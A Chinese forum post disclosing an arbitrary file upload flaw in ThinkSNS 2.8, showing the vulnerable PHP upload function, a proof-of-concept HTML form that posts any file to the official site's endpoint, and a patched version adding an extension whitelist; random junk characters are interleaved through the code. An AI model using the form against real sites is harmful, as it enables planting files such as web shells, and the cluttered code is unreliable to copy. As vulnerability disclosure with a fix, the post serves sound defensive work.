找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2186|回复: 0
打印 上一主题 下一主题

ThinkSNS 2.8任意文件上传漏洞及修复

[复制链接]
跳转到指定楼层
楼主
发表于 2012-12-4 11:12:30 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
  微博上传图片时只在前端进行验证, 服务器端没有进行安全过滤。9 v5 X! M4 A; @) B+ M; q; I
5 Y/ I; v) z2 P- r( h
/ ^- p1 Y/ H, U
\api\StatusesApi.class.php
3 B1 i# U: [1 e8 s2 ?: j- I6 V1 B 8 j7 h/ e( _! w" }* q( D$ s! M
function uploadpic(){
( B( Y2 \9 e1 B+ S% y* F      if( $_FILES['pic'] ){
- W/ R3 }: q* q6 W8 `2 r     //执行上传操作
! X  ^. E8 P, G+ o# A+ W4 j7 ^     $savePath =  $this->_getSaveTempPath();
0 w+ J, F$ |- q# W7 j* D" C     $filename = md5( time().'teste' ).'.'.substr($_FILES['pic']['name'],strpos($_FILES['pic']['name'],'.')+1);
: L- H1 S8 t/ ^6 F2 j  G    if(@copy($_FILES['pic']['tmp_name'], $savePath.'/'.$filename) || @move_uploaded_file($_FILES['pic']['tmp_name'], $savePath.'/'.$filename))5 }' W$ K7 l" T8 T# ]1 ^
       {
% ~0 r" n7 {2 o9 S7 I1 z        $result['boolen']    = 1;
7 S9 \8 |  ~8 \: S: J6 R1 [$ [0 r; Y        $result['type_data'] = 'temp/'.$filename;
& _/ w9 A! T  l0 S8 f        $result['picurl']    = SITE_PATH.'/uploads/temp/'.$filename;9 Z2 W3 _1 y# _5 U
       } else {
$ W2 F$ `2 @- ~6 V& v9 |        $result['boolen']    = 0;6 ~( v% U% {/ W' E
        $result['message']   = '上传失败';
! L' G: A% E8 w1 {       }
) o# a: v  A- T7 e! W+ E     }else{; L$ Z, T4 F" @1 d
         $result['boolen']    = 0;/ E9 b7 j0 d/ l3 }% E0 e" d. `. J8 x
         $result['message']   = '上传失败';" \, N5 G- W9 V$ P2 b
     }
" r. |3 \0 T' x/ w7 Freturn $result;
9 T7 x# G8 g0 r4 t8 C, N* `    }
# K& ?$ h" V9 }( q' }: R, x. funloadpic()方法没有对文件类型进行验证! M! l5 X4 A$ F" v6 t
/ }: k/ \* R$ f
可以构建表单, 选择任意文件, 提交到
/ X8 a/ {' C: a/ I3 V9 H' Z/index.php?app=w3g&mod=Index&act=doPost
6 }" I; L% O3 ~/ ^& F " [. l9 z+ D# g, A' M; U
在新提交的微博上可以找到上传的文件地址(去掉small_、middle_ 前缀)* B& X6 B1 B1 k5 ?0 t& ]+ b0 L
. q0 l. ]* T5 {9 t- Y8 S+ `2 u2 h

) W1 I% m8 w$ x! r在登录thinksns官方微博后,
2 k- u( X: v2 u$ R构建以下表单:
. K. [" p' P; @2 G: {; Z7 M& a$ ^
* j# x( R) s( U8 P, ~8 l<form action="http://t.thinksns.com/index.php?app=w3g&mod=Index&act=doPost" method="post" enctype="multipart/form-data" />; t! N! c* M$ k/ z" r
<textarea name="content">test</textarea>6 C( v* G5 P: ?
file: <input id="file" type="file" name="pic" />
; A$ k9 ~+ V7 w<input type="submit" value="Post" /># f# M5 @$ @5 Y) H- z* ~9 A
</form>
8 B* S' W) p8 R0 Y; \& T& D去掉缩略图的前缀(small_ )( D1 I* A5 `4 x
​修复方案:6 [- J- Q, A- y/ Y& f* H/ S' Q
8 l7 f( K- q; a; g, g) v0 \0 w
+ S$ ]1 T' P% d' H
\api\StatusesApi.class.php
( B" Q; P; g  X0 H" Z3 u ' U& A, ~1 R! M7 k7 k
function uploadpic(){6 X* n# _# |, x3 ]9 h
     /**$ ^* j& j! w& G& O; [. t
      * 20121018 @yelo
3 j; k' p" T" V      * 增加上传类型验证
2 l+ l; M  t3 v- E  |8 _      */5 W( J( }' s( D7 M9 k: q
     $pathinfo = pathinfo($_FILES['pic']['name']);
) e4 E/ O$ z* i- i0 i6 l     $ext = $pathinfo['extension'];; ?3 H8 z* f  ]% D- o
$allowExts = array('jpg', 'png', 'gif', 'jpeg');
  j# G" K1 r3 u5 J" t9 I
" Q/ Z) B1 Z2 i  ]9 Z     $uploadCondition = $_FILES['pic'] && in_array(strtolower($ext),$allowExts,true);
* R& [2 P0 q9 ]7 Z7 E9 h/ l6 r4 ` ! |0 R& L& k3 k1 ^/ |. O& h- ^
     if( $uploadCondition ){7 {4 U2 @- h) ]
     //执行上传操作
* S# j6 f/ X: D& P     $savePath =  $this->_getSaveTempPath();/ y( @2 E8 h  E5 L. V9 o) {7 r
     $filename = md5( time().'teste' ).'.'.substr($_FILES['pic']['name'],strpos($_FILES['pic']['name'],'.')+1);
0 B/ }: I  S( d5 Z    if(@copy($_FILES['pic']['tmp_name'], $savePath.'/'.$filename) || @move_uploaded_file($_FILES['pic']['tmp_name'], $savePath.'/'.$filename))# A% w$ @5 R! c/ P9 Z( I/ o: {
       {
: E: s0 W  [( b) J        $result['boolen']    = 1;& c/ U3 f3 S  K9 y
        $result['type_data'] = 'temp/'.$filename;
- f7 _9 I4 i/ L) r/ v2 s- A        $result['picurl']    = SITE_PATH.'/uploads/temp/'.$filename;, y/ V2 F3 q3 G  R
       } else {4 r$ P4 x+ x8 A( c' Z9 ^6 r" w& M
        $result['boolen']    = 0;8 s- z- U/ i+ H6 H' u0 N9 F
        $result['message']   = '上传失败';* O7 @1 e9 C* P8 |; ~
       }
. Y# G. e8 ?! s: L9 w     }else{
6 \6 O6 b) J5 t: B+ a0 S         $result['boolen']    = 0;
) L5 L" d- {$ A1 S         $result['message']   = '上传失败';
- x" ?) z% w* W: Y( {     }' [7 w" H$ b4 `7 X" J3 _
return $result;2 z9 l1 v0 G7 O3 g% r! u
    }+ u/ b% o# `' K! a3 ~/ o, f

5 ?; U) H+ F1 J' @9 z* I( R5 H. ^  N2 M
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表